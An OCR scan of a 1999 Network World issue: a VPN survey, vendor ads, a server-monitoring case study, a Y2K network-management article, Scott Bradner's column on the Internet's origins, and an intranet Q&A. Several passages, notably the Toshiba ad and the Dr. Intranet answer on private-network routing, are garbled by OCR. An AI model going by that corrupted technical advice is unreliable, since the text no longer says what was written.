As  you  can  see  by  the  accompanying  charts, 
corporate  users  are  adopting  VPNs  for  a  variety  of 
reasons  and  basing  them  on  different  backbones. 

But  Zines  has  a  telling  piece  of  data  from  a  re¬ 
cent  survey  he  performed  that  indicates  VPNs 
managed  by  service  providers  might  be  winning 
the  day. 

Among  customers  who  already  have  VPNs,  the 
split  between  in-house  and  outsourced  is  about 
50-50,  he  says.  But  among  those  who  built  their 
own,  about  one  in  five  say  they  will  move  to  a 
managed  service.  3 


VPNs  in  the  works 

In  a  recent  survey  by  TeleChoice,  501  virtual  private  network 
users  were  asked: 


VPNs  are  growing  in  popularity, 
but  why? 


SOURCE  TELECHOICE.  BOSTON 


What  kinds  of  VPNs  will  be  built 
in  1399? 


Dial  up:  17%  Don't 
know: 


Do  it  yourself,  site  to  site:  34% 
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Because  guesswork  isn't  in  your  job  description 


SPECIAL  OFFER — FrameVision  Starter  Kit 

www.kentrox.com/starterkit 


You  have  to  pinpoint  and  evaluate  problems 
with  your  Frame  Relay  network. 


That's  a  tough  job  when  you  have  absolutely  no  information  to  work  with.  But 
now.  Frame  Relay  SLA  monitoring  from  ADC  Kentrox  takes  the  guesswork  out  of 
managing  your  network.  And  with  the  FrameVision™  Starter  Kit,  you  can  take 
your  first  look  at  what's  really  going  on  with  your  WAN  traffic — risk-free! 


Order  the  FrameVision  Starter  Kit  by  July  31,  1999,  and  you  can  start  to 
monitor  your  Frame  Relay  SLA.  Try  this  special  offer,  priced  at  $2,295 
—and  save  an  additional  $150  if  you  order  by  May  31,  1999. 

For  more  information  call  1-800-733-5511  or  visit  www.kentrox.com/starterkit. 
Or  call  your  ADC  Kentrox  reseller  today  to  place  an  order  (Model  #72601). 


It's  the  risk-free  way  to  see  what  you  need  to  make  smart  network  decisions. 


!>  Kentrox 


Redefining  Network  Access™ 


Free  Product  info  enter  NWInfoXpress  #91  online  @  www.networkworld.com/infoxpress 


Enterprise 


Briefs 


Shunra  Software  released 
Version  1.1  of  The  Cloud,  soft¬ 
ware  that  uses  a  LAN  to  emu¬ 
late  a  WAN. 

With  The  Cloud,  users  can 
see  the  impact  of  a  new  appli¬ 
cation  or  technology  on  a  WAN 
without  deploying  it  over  an 
actual  WAN. 

The  new  version  can  emulate 
link  faults,  congestion  and 
dynamic  routing. 

The  Cloud  simulates  latency, 
data  loss  and  bandwidth  of  IP 
traveling  over  a  wide  area.  The 
software  runs  on  Windows  NT 
and  is  shipping  today.  Prices 
start  at  $3,000. 

Shunra:  (201)  652-7366 

Memco  Software  has  shipped 
Audit  Central,  enterprise  securi¬ 
ty  software  that  consolidates 
and  analyzes  Windows  NT  and 
Unix  system  audit  logs. 

The  tool  places  "collection 
agents"  on  each  machine  to 
detect  suspicious  or  malicious 
activity. 

Audit  Central  pricing  starts  at 
$4,500. 

Memco:  (650)  556-4812 

Tetranet  says  its  new  soft¬ 
ware,  Metabot  Pro.  1.0,  makes  it 
easier  to  detect,  change  and 
insert  metatags  across  all  docu¬ 
ments  in  a  Web  site.  Metabot 
Pro  uses  a  spreadsheet-style 
interface  that  does  not  require 
knowledge  of  HTML. 

A  metatag  is  a  hidden  HTML 
code  that  identifies  a  docu¬ 
ment's  properties,  including 
keyword  and  date  modified. 

Search  engines  rely  heavily 
on  metatags  when  scouring  the 
World  Wide  Web  for  hits. 

Metabot  Pro  sells  for  $495  for 
a  single-user  license  and  $1,495 
for  a  10-user  license. 

An  evaluation  copy  can 
be  downloaded  at  www.tetra 
netsoftware.com/products/ 
metabothtm. 


IN' SITE:  Lessons  from  Leading  Users 
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Software  helps  resort  manage  growth 


Server  watchdog 


Sunterra  Resorts  uses  Heroix's  RoboMon  software  to  watch  over  servers  that 
hold  reservation  and  accounting  information. 


Q  Resorts  send  reservation  data  to  the  corporate 
office  over  frame  relay  connections. 


Q  Reservation  data  is  stored  on 
WinFrame  servers,  where 
RoboMon  also  sits,  watching 
for  signs  of  danger. 


O  RoboMon  sends  alerts  to 
a  management  station 
and  generates  reports. 


BY  JEFF  CARUSO 

Sunterra  Resorts  may  have  great 
places  to  go  for  holidays,  but 
running  the  company’s  net¬ 
work  and  systems  hasn’t  been 
much  of  a  vacation. 

Buying  up  resorts  all  over 
the  world,  the  $450  million  company 
has  grown  by  leaps  and  bounds  — 
from  nine  resorts  two  years  ago  to  87 
today. 

The  buying  spree  resulted  in  a 
decentralized  IT  system  that  had  no 
good  way  of  keeping  companywide 
information  in  one  place. 

It  also  became  difficult  to  track 
what  was  going  on  at  the  growing 
number  of  servers,  and  that  was  caus¬ 
ing  problems,  says  Mike  Westerfield, 
senior  network  analyst  at  the 
Orlando  company.  “The  servers 
couldn’t  stay  up  for  more  than  a  day 
or  two  at  a  time,”  he  says. 

Bringing  it  together 

Last  year  Sunterra  started  to  bring 
all  of  its  reservation,  accounting  and 
contract  information  into  its  corpo¬ 
rate  headquarters,  making  administra¬ 
tion  easier  and  improving  access  for 
centralized  reservations  and  collec¬ 
tions  departments. 

The  plan  is  to  create  a  centralized 
Oracle  database  running  on  an  HP 
9000  server,  accessed  by  Citrix 
WinFrame  servers  based  on  Windows 
NT.  The  task  became  more  difficult 
when  the  corporate  site  went  from 
six  of  these  application  servers  last 
year  to  13  today. 

The  job  will  get  harder  still  when 
the  corporate  site  expands  to  as 
many  as  50  servers  in  coming 
months. 

To  pull  off  the  centralization, 
Sunterra’s  IT  staff  needed  answers  to 
some  basic  questions,  such  as:  Do  the 
servers  have  enough  disk  space  or 
memory?  and,  How  well  are  applica¬ 
tions  performing? 

To  provide  some  answers,  Wes¬ 
terfield  last  year  installed  Heroix’s 
RoboMon  software,  which  resides 
on  servers  and  alerts  systems  man¬ 
agers  to  potential  problems. 

The  software  uses  a  set  of  rules  to 
determine  if  there  is  a  problem. Then 


RoboMon  can  fix  the  problem  or 
notify  a  systems  manager  via  e-mail 
or  a  page.  It  also  sends  events  back  to 
a  central  monitor. 

Proactive  push 

Westerfield  says  RoboMon  is  help¬ 
ing  Sunterra  move  from  fixing  prob¬ 
lems  reactively  to  proactively  stop¬ 
ping  problems  before  they  occur.  As  a 
result,  servers  are  much  more  stable. 

RoboMon  has  already  discovered  a 
couple  of  problems.  One  server 
“came  dangerously  close  to  running 
out  of  disk  space,”  Westerfield  says. 
Before  RoboMon  raised  a  red  flag, 
“nobody  had  any  idea  that  was  hap¬ 
pening.” 

The  warning  gave  the  systems 
managers  an  opportunity  to  make 
space  on  the  drive. 

RoboMon  also  helped  show  how 
Microsoft  Exchange  was  using  too 
much  memory,  Westerfield  says. 

Sunterra  also  uses  the  software  to 
detect  if  a  user  has  been  idle  for  a 
long  time.  RoboMon  can  then  auto¬ 
matically  log  off  that  user. 

To  maintain  network  performance, 
Westerfield  made  the  company’s 


Cisco  routers  give  a  higher  priority  to 
WinFrame  packets,  which  use  Citrix’s 
Independent  Computing  Architecture 
protocol. 

Looking  ahead 

As  Sunterra  continues  to  bring  its 
data  into  a  central  location,  there  will 
be  less  traffic  on  the  links  from  head¬ 
quarters  to  each  of  the  resorts. 

This  fact  means  many  of  these 
links  can  be  cut  back  from  full  1.5M 
bit/sec  T-ls  to  512K  bit/sec  frame 
relay  lines,  Westerfield  says. 

Over  the  long  term,  Sunterra  is 
using  RoboMon  to  generate  reports 
about  usage  on  the  servers,  so  the 
company  will  know  when  it  needs 
more  server  capacity.  However,  the 
reports  may  not  be  enough. 

Westerfield  says  he’d  like  to  see 
RoboMon  generate  graphs  in  the 
future  to  make  it  easier  for  nontech¬ 
nical  people  to  see  trends. 

“That  way,  we  can  have  some  back¬ 
ing  when  we  go  to  management  and 
say, ‘We  need  more  servers,’”  he  says. 

At  the  rate  the  company  is  grow¬ 
ing,  chances  are  Sunterra  will  proba¬ 
bly  need  many  more.  Ql 
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TCO  less  than 
half  of  Lotus  Notes. 

Better  than  99.9% 
reliability. 

More  than  25  million 
users  in  3  years. 

Just  a  few  facts*  to  help  you  with  your 
messaging  and  collaboration  server  decision. 


*iThe  Radicati  Group,  Inc.  study  sponsored  by  Lotus  Development  Corporation  and  Microsoft  Corporation.  October  1998.  ^Reliability  data  based  on  actual  customer  deployments,  more  details  at  http://www.microsoft.com/excbange/55/casestudies/reliability.htm. 
Corporation.  ©  1999  Microsoft  Corporation.  All  nghts  reserved.  Microsoft  and  Where  do  you  want  to  go  today?  are  either  registered  trademarks  or  trademarks  of  Microsoft  Corporation  in  the  United  States  and/or  other  countries.  Other  products 


As  you  evaluate  the  best  messaging  and  collaboration  server  on  which  to  standardize 
your  IT  infrastructure,  you  want  the  facts  to  make  the  best  long-term  decision  for  your 
company.  With  Microsoft®  Exchange  Server  you  get  low  TCO,  high  availability,  and 
high  scalability.  Plus,  Exchange  is  a  choice  that  puts  you  in  good  company,  with 
widespread  adoption  among  such  demanding  enterprise  customers  as  Dell,  Merrill  Lynch, 
Northrop  Grumman,  Siemens,  and  Toys  “R”  Us.  If  you  need  more  facts  or  to  get  your 
free  Exchange  Evaluation  &  Migration  Kit,  visit  www.microsoft.com/exchange/ 

Microsoft' 

Where  do  you  want  to  go  today?- 


Reliability  results  vary  based  on  server  hardware,  server  software,  performance  monitoring  and  adopting  best  practices  for  operations.  SElectronic  Mail  and  Messaging  Systems  Newsletter,  February  5,  1999  and  data  from  Microsoft 
and  company  names  mentioned  herein  may  be  the  trademarks  of  their  respective  owners. 


Enterprise  Applications 


Getting  network  management  ready  for  Year  2000 


BY  JEFF  CARUSO 

First  in  a  four-part  series. 

Network  and  systems  man¬ 
agement  has  always  been 
about  heading  off  disaster.  But 
network  managers  will  need 
to  prevent  a  Year  2000- 
induced  disaster  in  their  man¬ 
agement  software  itself. 

The  good  news  is  the  vast 
majority  of  vendors  claim  the 
management  software  they  are 
selling  now  is  ready  for  the  infa¬ 
mous  date  change  —  the  cur¬ 
rent  versions  of  that  software,  at 
least.  If  you’ve  been  procrasti¬ 
nating  an  upgrade  to  a  new  ver¬ 
sion  for  a  couple  of  years,  now 
is  the  time  to  check  with  your 
vendor  and  get  the  current  revi¬ 
sion  if  need  be. 

Current  versions  of  the 
major  network  management 
platforms  are  certified  by  the 
vendors  as  Y2K-compliant.This 
includes  Tivoli’s  NetView,  Cable¬ 
tron’s  Spectrum  and  Hewlett- 
Packard’s  Network  Node  Man¬ 
ager  (NNM),  the  heart  of  the 
OpenView  management  soft¬ 
ware  set.  Computer  Associates’ 
Unicenter  TNG  requires  a  patch. 

“All  of  the  major  solutions 
providers  have  been  pretty 
careful,”  says  Richard  Ptak,  vice 
president  of  systems  and  appli¬ 
cation  management  at  the 
Hurwitz  Group  in  Framingham, 
Mass.  And  new,  smaller  vendors 
are  well  aware  of  die  Y2K  prob¬ 
lem  and  have  probably  solved  it 
from  the  beginning,  he  adds. 


The  main  worry,  then,  is  older 
software.  Some  management 
software  vendors  offer  main¬ 
tenance  contracts  under  which 
they  periodically  send  updates 
of  their  software  to  users.  Ross 
Systems,  for  instance,  for  two 
years  has  used  software  from 


Proactive  Networks,  which 
sends  Ross  quarterly  upgrades. 

Proactive  has  assured  the 
company  that  any  Y2K-related 
problems  have  been  fixed  in 
those  updates,  says  Hank 
Waash,  director  of  worldwide 
operations  at  Ross,  a  business 
software  company  in  Redwood 
City,  Calif.  “I’m  taking  their 
word  for  it,”  he  says. 

In  other  cases,  getting  man¬ 
agement  software  to  be  Y2K- 
compliant  may  be  just  a  matter 
of  downloading  a  patch  from  a 
vendor’s  Web  site.  Systems  inte¬ 
grator  Forsythe  Technology 
uses  many  of  HP’s  management 
products  to  remotely  monitor 
its  customers’  enterprise  net¬ 
works. 

Most  of  HP’s  management 
software  requires  a  patch  or  an 
upgrade  to  a  current  version  to 
be  compliant,  but  getting  and 
installing  those  patches  is  rela¬ 
tively  painless,  says  Dan  Galla¬ 
gher,  director  of  enterprise  sys¬ 


tems  management  services  at 
Forsythe  in  Skokie,  Ill. 

“Because  we’re  a  produc¬ 
tion  environment,  we’ve  done 
the  upgrades  during  periods 
of  off-use,”  Gallagher  says. 
Forsythe  also  does  its  own  ver¬ 
ification  to  ensure  the  soft¬ 
ware  can  handle  the  date 
change. 

Anyone  who  has  kept  his 
network  management  soft¬ 
ware  up  to  date  is  probably  in 
good  shape,  says  Elizabeth 
Rainge,  research  manager  for 
network  management  at  Inter¬ 
national  Data  Corp.  in  Fram¬ 
ingham,  Mass.  “In  networking, 
there’s  been  so  much  change 
and  so  much  overhaul  that 
people  have  updated  things  as 
they  go,”  she  says. 

For  those  who  haven’t  kept 
up  to  date  —  and  you  know 
who  you  are  —  now  is  the  time 
to  get  the  upgrade  or  patch. 
Cabletron  requires  an  upgrade 
to  Version  5  0  of  its  Spectrum 
network  management  platform 
in  order  to  be  compliant.  HP 
says  Version  4.X  and  later  of 
NNM  are  Y2K-compliant.  Its  rec¬ 
ommendation  for  users  running 
Version  3  31  or  earlier  is  to  up¬ 
grade  to  4. 1 1  and  apply  a  patch. 

Device  management  soft¬ 
ware  from  network  hardware 
vendors  will  also  need  to  be 
examined.  Nortel  Networks 
recommends  users  upgrade  to 
Y2K-compliant  versions  of 
Optivity.  And  3Com  has 
declared  that  old  versions  of 
its  Transcend  software  are 


obsolete  and  therefore  won’t 
be  made  compliant. 

ButY2K  support  in  one  prod¬ 
uct  from  a  vendor,  even  a  key 
product  such  as  NNM,  doesn’t 
mean  the  rest  of  that  vendor’s 
products  are  ready.  HP’s  Desk¬ 
top  Administrator  is  OK,  for 
example,  but  IT/Administration 
and  IT/Operations  require  an 
upgrade  to  Version  A.03.X 
or  later. 

If  a  vendor’s  products  have 
been  discontinued,  you  may  be 
out  of  luck.  Network  Associates 
says  most  of  its  products  are 
Y2K-compliant,  but  it  also  lists 
discontinued  products  that 

Don't  forget 


•  Distributed  agents 

•  Management  platform  software 

•  Applications  that  plug  into  the 
platform 

•  Device  managers 

won’t  be  made  compliant, 
including  Safe  &  Sound,  Net- 
room,  Headroom,  Popup  Genie 
and  Multimedia  Cloaking. 

Some  products  may  have 
dependencies  on  nonmanage¬ 
ment  pieces,  as  well.  HP’s  advice 
for  users  of  its  server  manage¬ 
ment  software,  ManageX,  is  to 
upgrade  to  Windows  NT  4. 

Others  just  aren’t  done  yet. 
Network  Associates’  Reporter 
line  of  products  isn’t  compli¬ 
ant,  and  it  will  be  replaced  by 
June  30,  according  to  the  com¬ 
pany.  But  these  cases  are  rare  in 
the  network  management  area. 

So  how  can  network  man¬ 
agers  sift  through  all  this  infor¬ 
mation?  The  main  thing  to  do  is 
to  take  an  inventory  of  all  the 
management  software  and 
check  what  the  vendors  say 
about  the  software  being  used. 
This  includes  software  agents 
that  run  on  various  platforms  in 
the  enterprise  and  report  back 
to  the  management  applica¬ 
tions.  Even  those  agents  may 
deal  with  date  information. 

One  large  utility  company 
that  asked  not  to  be  identified 
has  found  it  uses  a  dozen  sepa¬ 
rate  management  products. 
These  include  a  platform,  vari¬ 


ous  device  managers  for  net¬ 
work  hardware,  performance 
management  software,  appli¬ 
cation  management  software 
and  a  protocol  analyzer.  At  this 
point,  the  company  has  com¬ 
pleted  most  of  its  testing  of 
these  software  tools,  but  it  still 
needs  to  apply  some  patches. 

As  long  as  the  management 
software  is  compliant,  it  should 
be  able  to  help  users  track 
down  problems  with  other 
applications  when  the  date 
changes  to  2000,  Ptak  says.  The 
applications  will  break  or  act 
strangely,  and  a  good  manage¬ 
ment  application  should  be 


•  Performance  managers 

•  Application  managers 

•  Protocol  analyzer  software 

•  Operating  systems,  for  systems 
management  software 

able  to  catch  those  errors  and 
alert  a  manager,  he  says. 

Those  who  are  still  nervous 
can  request  someone  to  go  to 
their  site  for  the  time  just 
before  and  just  after  Jan.  1, 
2000.  CA  says  it  will  offer  its 
users  someone  to  stay  on  site 
and  serve  as  a  point  of  contact 
to  track  down  glitches  caused 
by  the  Y2K  bug. 

Gallagher  says  he’ll  watch 
his  own  network  during  the 
changeover.  “As  long  as  I’m  in 
the  building  here  with  my  gen¬ 
erators  and  backup  power,  I 
won’t  be  concerned,”  he  says. 
“I’ll  probably  get  a  bag  of  chips 
and  some  water,  and  wait.”  3 


•  Results  of  a  survey  of 
e-mail  managers  on  Y2K. 

•  Overviews  of  Y2K  lawsuits. 


QUICKTAKE 


Response  reporting  with  an  ultrafine  grain 


Network  Response  Time  Trend  (London  Connections) 
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Summary 

Total  •  Sernpta*  420.964 

Average  Response  Tim*  1.240  toe 

0-320  mc 
0-030  MC 


Sloe*  ot  Average  trend  Line 
Weekly  Response  Time  Trend 


5 Ota  Percentile 


2.310  acc 
1.760  eec 
1.250  eec 
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Ganymede  Software  of  Morrisville,  N.C.,  recently 
updated  its  Pegasus  performance  management 
tool  to  measure  latency  on  each  hop  of  an  end 
user's  route  through  a  network.  "The  users' 
perception  of  what  is  going  on  is  not  always 
quantifiable,"  says  Bob  Currier,  director  of  data 
communications  at  Duke  University,  which  uses 
Pegasus.  The  new  capability  gives  network 
managers  the  statistics  to  show  what  the  user 
is  actually  experiencing,  instead  of  what  the 
user  thinks  he  is  experiencing,  he  says.  Managers 
can  then  pass  this  data  onto  the  user  or 
executives.  Version  1 .2  of  the  software  is 
shipping  now  and  starts  at  $7,500. 

Ganymede:  (919)  469-0997 


Because  network  management  software  often  consists  of  a 
lot  of  small  pieces,  it's  important  to  ensure  all  those  parts  have 
been  made  Y2K-compliant.  Remember  to  check: 
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Join  the  cc:Mail  customers 

who  have  already  switched  to 
Microsoft  Exchange  Server. 


Find  out  for  yourself  why  former  ccrMaif  customers  such  as  Dell, 
Merrill  Lynch,  Northrop  Grumman,  Siemens,  and  Toys  “R”  Us  have 
migrated  to  Microsoft®  Exchange  Server, 


The  new  Exchange  Migration  Program  is 
specifically  designed  to  simplify  your  migration 
from  cc:Mail,  Microsoft  Mail  and  GroupWise 
to  Exchange,  making  it  as  seamless  as 
possible  through  a  complete  set  of  tools 
and  industry  partner  support.  Plus,  Exchange 
Server  works  well  with  your  current  messaging 
system  so  you  can  stage  your  deployment 
at  your  own  pace  rather  than  having  to  do 
it  all  at  once.  Order  your  FREE  Exchange 
Evaluation  &  Migration  Kit  today  at 
www.microsoft.com/exchange/migration 
or  call  888-658-7230,  Dept.  C626 


Microsoft 


Evaluation  and  Migration  Kit 


The  Exchange  Migration  Program  includes: 

•  A  free  migration  kit 
that  comes  with  a 
120-day  trial  of 
Exchange  Server  5.5, 
latest  migration 
tools,  best  practices, 
case  studies, 
and  whitepapers 

•  Special  discounts 
on  migration  services 
and  seminars 

•  Free  online  how-to  migration  seminars 

•  Competitive  upgrade  pricing 


Microsoft 

Where  do  you  want  to  go  today?- 


©  1999  Microsoft  Corporation.  All  rights  reserved.  Microsoft  and  Where  do  you  want  to  go  today?  are  either  registered  trademarks  or  trademarks  of  Microsoft  Corporation  in  the  United  States  and/or  other  countries.  Other  products 
and  company  names  mentioned  herein  may  be  the  trademarks  of  their  respective  owners. 
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^SSPUTERS:  “The 


'that  customers  can  benefit 
and  in  the  future,”  sa: 
Friederichs,  vice  pres 
marketing,  TAIS,  CSE)./ 
Magnia®  7000  server  ofl r 
combination  of  pejff* 
scaieability 

the  enterpripiH^^ 


|pPprovide^wi«RFrest  ana 
most  powerful  technology 


experience  Kelldbliny  Redundant  power  systems, 

Error  Correction  Code  memory  and  drives  you  can  exchange  while 
the  server  is  active  help  maximize  uptime  and  productivity. 
Built-in  instrumentation,  Intel  LANDesk  Server  Management 
software  and  compatibility  with  enterprise  management  solutions 
help  keep  IT  managers  in  control.  Toshiba  specially  designed 
software  additions  that  delivers  proactive  monitoring  of  hard  disk 
drive,  power  supplies  and  cooling  fans.  For  more  information,  go 
to  www.manageability.toshiba.com.  The  Magnia  7000  series  is 
part, of  a  family  of  Toshiba  servers  that  software  -ry^jiity 
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Pentium 

*  vonn 


©1 999  Toshiba  America  Information  Systems,  Inc.  The  Intel  inside  logo  and  Pentium  are  registered  trademarks  and  Pentium  II  Xeon  is  a  trademark  of  Intel  Corporation. 
All  other  products  and  names  mentioned  are  the  property  of  their  respective  companies.  All  specifications  and  availability  are  subject  to  change.  All  rights  reserved. 


A  true  enterprise 
lW  I  class  server  that 
v.  I  i  f  provides  exceptic 
"1  -  -  f  J  performance, 

»  I  reliability  and 

*  [  S  manageability. 

Intel®  Pentium®!!  Xeon™  processor,  400MHz  or^50MH^ 


TOSHIBA 


1-800-TOSHIBA 

www.toshiba.com 


Portables.  Desktops.  Servers 


MAGNIA  7000  SERIES 


Free  Product  info  enter  NWInfoXpress  #94  online  @  www.networkworld.com/jnfoxpress 


I  Upgradeabiiity 

g  - 

Quad  processing  capable,  one  (1)  processor  standard 

Cache 

512KB,  1MB  or  2MB  internal  second  level  ECC  cache 

Memory 

256MB  buffered  ECC  EDO  DRAM  (4GB  max)  Ap 

Storage  Bays  Four  (4)  front  accessible  bays:  one  (1)  3.5”  driveV^3^ 

(occupied  with  3.5”  floppy),  three  (3)  5.25”  half-height 
.  (one  (1|  occupied  with  CD-ROM),  six  (6)  3.5”  hot-swap 

MAX-  f/EAP&OO/M  SCA  bays  with  1”  height  support  Optional  second  cage 

77)  /*?  supports  six  (6)  additional  1”  hot-swap  drive  bays.  All 

y  /  '  hot-swap  drive  bays  support  ultra2-wide  SCSI-3  (LVDS) 

specification 

Hot-Swap  Capacity 

54GB  using  9GB  1”  devices  or  108GB  with  optional 
second  hot-swap  cage 

I/O  Expansion  Slots 

Seven  (7)  total:  six  (6)  32-bit  PCI  slots,  one  (1)  PCI/ISA 
shared,  one  (1)  PCI  slot  occupied  with  network  interface 

Enterprise 


'Net  Insider  .  Scott  Bradner 


Unplanned  parenthood? 


The  silliness  of  the  reaction  a  few 
weeks  ago  to  Vice  President  At 
Gore’s  statement  that  he  created  the 
Internet  got  me  thinking  —  is  there 


someone  who  should  be  credited  with 
creating  the  Internet? 

My  conclusion  is  that  the  vice  presi¬ 
dent  has  more  right  than  many  to  claim 


Applications 


to  be  part  of  the  parental  gene  pool, 
but  there  are  a  few  others  who  share 
the  ancestral  rights. 

There  have  been  a  number  of  key 
milestones  along  the  path  to  what  we 
now  call  the  Internet.  For  each  of 
these  milestones,  there  is  one  or  more 
person  who  could  take  credit  —  the 
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1999  SEMINAR  TOUR 

New  York,  NY  •  June  2  Washington,  DC  •  June  29 

Boston,  MA  •  June  3  Atlanta,  GA  •  June  30 

■ 

Dallas,  TX  •  June  16  San  Francisco,  CA  ‘  July  1 

Chicago,  IL  •  June  1 7  Irvine,  CA  •  July  1 3 


PRESENTING  SPONSORS: 


STATE  OF  THE  WAN: 

Maximizing  the  Potential  of 
Frame  Relay,  ATM  and 
Emerging  Network  Services 


LEARN  FROM  THE  LEADER 

The  era  of  expensive,  inflexible  leased-line  networks  is 
over!  So  what’s  your  next  move?  Public  Frame  Relay? 
ATM  in  the  backbone?  TCP/IP  everywhere? 

To  ensure  your  WAN  is  well  positioned  for  the  future, 
join  John  Gallant,  Editor  in  Chief  of  Network  World, 

Dr.  Jim  Metzler  and  Debra  Mielke,  two  leading  industry 
analysts  of  The  Metzler  Group  and  Associates,  and 
representatives  from  the  leading  WAN  vendors  for  State 
of  the  WAN:  Maximizing  the  Potential  of  Frame 
Relay,  ATM  and  Emerging  Network  Services. 
Together,  in  this  unique,  interactive  Town  Meeting  event, 
they  confront  the  issues  surrounding  the  ever-expanding 
areas  of  WAN  technology  and  network  services. 


You  will  leave  this  seminar  with  the  information 
you  need  to  build,  buy  and  manage  the  high¬ 
speed,  reliable  infrastructure  your  business 
applications  demand;  Intranets,  Extranets, 
E-commerce  and  more. 


NetworkWorlt 

KB  LEADER 
IN  NETWORK 
|  KNOWLEDGE 

Print  •  Online  •  Event! 


Attend  this  FREE  SEMINAR  and  get  the  answers  to 

your  most  pressing  WAN  management  questions: 

•  Compare  and  contrast  the  benefits  of  ATM, 

Frame  Relay  and  other  emerging  Wide  Area 
Networking  technologies  and  services 

•  Learn  to  lower  the  cost  of  operations  and  support 
by  effectively  placing  your  voice  traffic  over  data 
transmission  services 

•  Understand  Quality  of  Service  (QoS)  and  the 
requirements  for  providing  end-to-end  QoS 
including  equipment,  reporting  and  staffing 

•  Probe  vendor  executives  on  plans  for  product 
rollouts,  features  sets  and  product  support 


MODERATORS 

John  Gallant,  Editor  in  Chief,  Network  World 

Dr.  Jim  Metzler  and  Debra  Mielke, 

The  Metzler  Group  and  Associates 


REGISTRATION  IS  FREEH 

For  more  details  and  a  complete  program  agenda,  call 

[8001643-4668  or  on  the  web 
www.nwfusion.com/townmeeting/wan 


I2S  Kentpox  Sprint . 

The  Network  Accee*  Coinpeny" 


If  you  are  interested  in  presenting  and  exhibiting  sponsorship  opportunities, 
please  contact  Andrea  D'Amato  at  (508)  820-7520  or  adamato@nww.com 


Internet  is  a  success  that  has  many 
parents. 

I’d  start  with  Paul  Baran’s  work  in 
the  mid-1960s  that  led  to  the  idea  of  a 
datagram,  router-based  network  rather 
than  the  switched-circuit  telephone- 
style  alternative. 

The  next  milestone  was  the  1968 
Advanced  Research  Projects  Agency 
requests  for  proposal  to  create  the 
ARPANet. 

Clearly  Vint  Cerf  and  Bob  Kahn 
deserve  a  place  in  the  history  books 
for  developing  TCP/IP  in  the  mid- 
1970s,  as  does  Jon  Postel  for  bringing 
the  whole  messy  pile  together.  These 
are  the  traditionally  cited  milestones, 
but  three  somewhat  obscure  events 
were  about  as  important. 

In  the  early  1980s,  DARPA  (ARPA 
had  been  renamed  by  then)  funded 
the  University  of  California,  Berkeley 
to  add  TCP/IP  to  Unix  and  make  it 
available  inexpensively.  Now  it’s  far 
less  expensive  to  use  TCP/IP  than 
to  develop  a  proprietary  network 
protocol. 

Also  in  the  early  1980s,  a  deal  was 
struck  permitting  ARPANet  sites  that 
were  also  Computer  Science  Network 
(CSNET)  members  to  open  ARPANet 
access  to  their  faculty,  staff  and  stu¬ 
dents.  Before  this  deal,  we  at  Harvard 
had  to  limit  who  could  use  the  net¬ 
work.  Afterward,  we  started  exposing 
generations  of  students  to  the  won¬ 
ders  of  e-mail. 

Finally,  Dennis  Jennings,  who  con¬ 
ceived  of  the  National  Science 
Foundatiorwetwork  (NSFNet),  decided 
that  the  network  would  only  run 
TCP/IP.  minimizing  the  chance  of  duel¬ 
ing  protocols. 

After  these  events,  the  major  mile¬ 
stone  was  the  development  of  the 
World  Wide  Web,  for  which  Tim 
Berners-Lee  generally  gets  the  lion’s 
share  of  the  credit. 

So  where  does  Gore  fit  in?  As  a  sen¬ 
ator,  he  helped  think  of  and  spearhead 
the  effort  that  led  to  funding  for  the 
NSFNet  and  the  High  Performance 
Computing  and  Communications  Pro¬ 
gram.  These  initiatives  produced  a 
proof  of  concept  for  large,  fast  data 
networks  without  which  we  might 
still  be  waiting  for  the  phone  compa¬ 
nies  to  deliver  ISDN. 

None  of  these  people  knew  what 
they  were  doing,  in  the  sense  that  none 
of  them  could  have  foreseen  today’s 
Internet.  But  without  them,  the  world’s 
technological  infrastructure  would  be 
far  inferior  today. 

Disclaimer:  Harvard  never  knows 
what  it's  doing  when  educating 
a  student  and  that’s  a  wonderful 
thing,  but  the  above  are  my  mile¬ 
stones. 

Bradner  is  a  consultant  with 
Harvard  University’s  University 
Information  Systems.  He  can  be 
reached  at  sob@harvard.edu. 


Ask 

0r  Intranet 


5  >  Sieve 
Blass 

\S  e  re  ks>«9 
rnv?  Sac  Eww- 
(wrse  Severe 
ejci  mtii  twv 
tflCerfaces.  3$  oar 
intrant  faifcKt 
seners.  One  inter¬ 
face  oa  each  server  gees  to 
the  LAN  amd  oee  osing  a 
crosses?'  cat  le  is  set  for  a 
private  a«er.Hwi  between  the 
two  servers.  We  w  ant  to  use 
the  private  network  to  synchro¬ 
nize  the  servers.  b  Jt  Domain 
Name  System  DNS  is  nmning 
and  only  knows  about  the  LAN 
network  interface  so  oar  syn¬ 
chronization  traffic  is  going 
over  the  LAN,  How  can  we 
route  the  private  traffic  over 
the  private  network  instead’ 

Via  the  Internet 

To  male  traffic  over  re  pri¬ 
vate  retwert  ctr  recti on  oe- 
twee-  re  two  servers  by  rest 
n2~e.  yc*_  ~eet  to  ed  t  r  =  etc. 
rtsswrcrt-corrffie  so  re  ~3st 
entry  te .‘s  re  system  :o  loo*  to 
DNS  first  and  re-  to  re  etc 
tests  fi  e  Orce  yo_  .e  do"e 
rat  assign  a  ur  :_e  ~cst  ~a~e 
to  the  servers'  private  inter¬ 
faces  arc  p'ace  those  host 
na^es  in  the  etc,  ’-Gsts  files  on 
the  servers.  Lastly  add  entries 
to  the  seiners'  routing  tat  es  sa 
the  imerserver  trar c  traverses 
the  private  net  You  war  the 
IP  addresses  on  the  private 
poirrt-to-poi nt  interserver  con¬ 
nection  to  be  ona  to  a  different 
stonet  rat  the  LAN  interfaces 
on  eirer  machine. 

Aso,  ensure  IPforwanfmg  is 
turned  off  on  the  serve's  to 
avoid  having  the  systems  rout¬ 
ing  packets  from  the  LAN  inter¬ 
face  to  the  private  interface. 

As  a  network  architect  at 
Houston-based  Sprint  Paranet 
Blass  understands  the  strain  of 
developing  and  managing 
intranets.  Send  your  problems 
to  dr.irrtranetSparanetcom. 


Technology 

_  An  Inside  Loot*,  at  the  Technologies 

and  Standards  Shaping  Your  Network 

Web  switches  help  reduce 


Updat 


HOW  IT  WORKS 

Web  switching 


Web  switching 
is  a  technology 
designed  to  handle 
the  requirements 
of  Web  traffic. 
Intelligent  Web 
switches  use  URL 
load-balancing 
capabilities. 
Network  Address 
Translation  and 
embedded  Domain 
Name  System 
intelligence  to 
manage  and 
improve  Web 
traffic  flow. 


O  User  makes  a 
content  request 
by  typing  a  URL 
into  a  browser. 


Request 


Q  Web  switch  intercepts  the  request.  Web  switch 
spoofs  TCP  connection  back  to  client  and 
examines  packet  URLs.  Simultaneously,  the 
Web  switch  examines  HTTP  header  and  URL 
and  compares  content  to  current  content  rules 
